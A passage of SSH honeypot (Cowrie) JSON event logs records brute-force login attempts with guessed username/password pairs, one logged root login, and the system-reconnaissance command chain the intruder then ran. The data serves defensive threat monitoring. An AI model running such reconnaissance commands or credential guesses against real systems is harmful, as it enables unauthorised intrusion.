16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:56.485728Z","src_ip":"2.57.122.96","session":"ae58551ec506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"staking","message":"login attempt [eth/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:56.808941Z","src_ip":"2.57.122.96","session":"ae58551ec506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:08:57.915199Z","src_ip":"2.57.122.96","session":"ae58551ec506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.70.205.193","src_port":61022,"dst_ip":"159.203.135.109","dst_port":22,"session":"725fc76de73a","protocol":"ssh","message":"New connection: 52.70.205.193:61022 (159.203.135.109:22) [session: 725fc76de73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:17.985992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:20.215011Z","src_ip":"52.70.205.193","session":"725fc76de73a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:20.221451Z","src_ip":"52.70.205.193","session":"725fc76de73a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:24.322522Z","src_ip":"52.70.205.193","session":"725fc76de73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":45092,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5e4fdc37e9","protocol":"ssh","message":"New connection: 92.118.39.72:45092 (10.17.0.5:22) [session: 3c5e4fdc37e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:33.441605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:33.445735Z","src_ip":"92.118.39.72","session":"3c5e4fdc37e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:33.561082Z","src_ip":"92.118.39.72","session":"3c5e4fdc37e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:33.884999Z","src_ip":"92.118.39.72","session":"3c5e4fdc37e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:09:34.992065Z","src_ip":"92.118.39.72","session":"3c5e4fdc37e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55902,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e6bfa1cf74","protocol":"ssh","message":"New connection: 2.57.122.96:55902 (10.17.0.5:22) [session: 80e6bfa1cf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:31.167440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:31.171884Z","src_ip":"2.57.122.96","session":"80e6bfa1cf74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:31.274303Z","src_ip":"2.57.122.96","session":"80e6bfa1cf74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"euler","password":"euler","message":"login attempt [euler/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:31.578978Z","src_ip":"2.57.122.96","session":"80e6bfa1cf74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:32.682110Z","src_ip":"2.57.122.96","session":"80e6bfa1cf74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":63442,"dst_ip":"10.17.0.5","dst_port":22,"session":"44283cb2aabb","protocol":"ssh","message":"New connection: 103.82.27.19:63442 (10.17.0.5:22) [session: 44283cb2aabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:46.163773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:46.168351Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:46.431088Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33394,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b4f27ad4c9c","protocol":"ssh","message":"New connection: 2.57.122.96:33394 (159.203.135.109:22) [session: 7b4f27ad4c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.092560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.097083Z","src_ip":"2.57.122.96","session":"7b4f27ad4c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.195235Z","src_ip":"2.57.122.96","session":"7b4f27ad4c9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass1","message":"login attempt [root/pass1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.219005Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"euler","password":"euler","message":"login attempt [euler/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.486535Z","src_ip":"2.57.122.96","session":"7b4f27ad4c9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.786923Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:47.790262Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:48.091715Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:48.095982Z","src_ip":"103.82.27.19","session":"44283cb2aabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:11:48.583892Z","src_ip":"2.57.122.96","session":"7b4f27ad4c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":59512,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa719fab5345","protocol":"ssh","message":"New connection: 2.57.122.96:59512 (10.17.0.5:22) [session: fa719fab5345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:28.021227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:28.025750Z","src_ip":"2.57.122.96","session":"fa719fab5345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:28.129943Z","src_ip":"2.57.122.96","session":"fa719fab5345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"eigen","message":"login attempt [eigen/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:28.439245Z","src_ip":"2.57.122.96","session":"fa719fab5345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:29.543728Z","src_ip":"2.57.122.96","session":"fa719fab5345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":37064,"dst_ip":"159.203.135.109","dst_port":22,"session":"345db0df9506","protocol":"ssh","message":"New connection: 2.57.122.96:37064 (159.203.135.109:22) [session: 345db0df9506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:44.325477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:44.332341Z","src_ip":"2.57.122.96","session":"345db0df9506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac